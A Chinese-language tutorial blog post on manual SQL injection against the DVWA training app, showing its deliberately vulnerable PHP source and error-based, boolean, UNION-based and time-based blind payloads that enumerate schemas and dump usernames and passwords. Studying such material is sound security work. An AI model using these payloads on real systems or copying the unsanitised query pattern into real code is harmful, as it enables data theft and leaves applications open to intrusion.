SQL Injection基础知识_02

SQL 注入流程

1.判断是否有SQL注入漏洞
2.判断操作系统、数据库和web应用的类型
3.获取数据库信息,包括管理员信息及拖库
4.加密信息破解,sqlmap可自动破解(sqlmap王者sql注入工具)
5.提升权限,获得sql-shell、os-shell、登录应用后台。

手动注入实战

低安全级别下的源码:没有在做安全过滤,直接将获取的值代入数据库语句。

<?php    

if(isset($_GET['Submit'])){
    
    // Retrieve data
    
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

    $num = mysql_numrows($result);

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
}
?>

基于错误的注入

  • 错误注入的思路是通过构造特殊的sql语句,根据得到的错误消息,确认sql注入点;
  • 通过数据库报错消息,也可以探测到数据库的类型和其他有用信息。
  • 通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。

(1)正常输入1,显示回馈信息
在这里插入图片描述

SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users;
mysql> select first_name,last_name from dvwa.users where user_id='1';

在这里插入图片描述

(2)在提交框中输入一个单引号,然后提交。
在这里插入图片描述
报错:显示语法错误(有注入点),证明该文本框可以接受单引号,没有被服务器验证机制过滤掉;显示输入错误或者显示您正在攻击等,表明验证机制已经过滤掉该错误
在这里插入图片描述

SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id=''';

错误的注入不是为了注入,而是为了试探注入点。

基于布尔的注入

布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码。

在这里插入图片描述
在这里插入图片描述提交后显示表中所有的记录信息

原始语句:
mysql> select first_name,last_name from dvwa.users where user_id='';

SQL注入语句解析
mysql> select first_name,last_name from dvwa.users where user_id='  'or 1=1 -- yangge  ';
#说明:输入的单引号是为了闭合前面的条件,or 1=1是一个为真的条件,-- 是为了注释后面的一切,包括自己输入的yangge

在这里插入图片描述

基于UNION的注入

UNION语句用于联合前面的select查询语句,合并查询更多信息;
一般通过错误和布尔确认注入点之后,便开始通过union语句来获取有效信息。

//(1)猜测数据列数
' union select 1 -- '
' union select 1,2 -- '
' union select 1,2,3 -- '
' union select 1,2,3,4 -- '
SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1 -- '';
mysql> select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- '';

//(2)获取当前数据库及用户信息
' union select version(),database() -- '
' union select user(),database() -- '
mysql> select first_name,last_name from dvwa.users where user_id=''union select version(),database() -- '';
mysql> select first_name,last_name from dvwa.users where user_id='' union select user(),database() -- '';
#说明:version()获得数据库版本信息;database()获得当前数据库名;user()获得当前用户名

//(3)查询数据库中所有表
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式;
元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。

SQL注入语句解析:
mysql> select * from information_schema.TABLES\G

//查询所有库名
'union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA,1 from INFORMATION_SCHEMA.tables -- '';

//查询所属库中所有表名
'union select table_name,1 from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from INFORMATIN_SCHEMA.tables -- '';

//同时查询表名及对应库名
'union select TABLE_SCHEMA, table_name from INFORMATION_SCHEMA.tables -- '
mysql> select first_name,last_name from dvwa.users where user_id='' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables -- '';

(1)逐步猜测查询的字段列数
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
推出,查询的字段数目为2个字段

如果自己要查的字段数目少于2个,则添加数字补充少的字段数;如果多于2个,则利用concat拼接成两个

(2)利用union获取数据库及用户信息
在这里插入图片描述
在这里插入图片描述
(3)利用INFORMATION_SCHEMA获取信息

1>查询所有库名
在这里插入图片描述2>查询所属库中所有表名
在这里插入图片描述

3>查询库名加表名
在这里插入图片描述

//原始语句
mysql> select first_name,last_name from dvwa.users where user_id='$id'

// 1>查询数据表
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- '
'union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- '
SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id=''union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='users' -- ''

mysql> select first_name,last_name from dvwa.users where user_id=''union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='USER_PRIVILEGES' -- ''

mysql> select first_name,last_name from dvwa.users where user_id=''union select 1,column_name from INFORMATION_SCHEMA.columns where table_name='SCHEMA_PRIVILEGES' -- '

// 2>查询数据列
'union select NULL,user from users -- '
'union select NULL, password from users -- '
'union select user, password from users -- '
'union select NULL,GRANTEE from USER_PRIVILEGES -- '
'union select password,concat(first_name,' ',last_name,' ',user) from users -- '
SQL注入语句解析:
mysql> use dvwa;
mysql> select first_name,last_name from dvwa.users where user_id='' union select password,concat(first_name,' ',last_name,' ',user) from users -- ''

1>查询数据表
在这里插入图片描述2>查询数据列
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

基于时间的盲注

有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句探测注入点

选择SQL Injectioon(Blind)界面,源码如下:

<?php    

if (isset($_GET['Submit'])) {
    
    // Retrieve data
    
    $id = $_GET['id'];

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
    $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors

    $num = @mysql_numrows($result); // The '@' character suppresses errors making the injection 'blind'

    $i = 0;

    while ($i < $num) {

        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name");
        
        echo '<pre>';
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        echo '</pre>';

        $i++;
    }
}
?>

在这里插入图片描述在这里插入图片描述
提交后发现浏览器一直在转,执行10秒。说明附加的语句是可以执行的,有注入点。

SQL注入语句解析:
mysql> select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- ';

找到注入点后,可以进行其他操作了

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值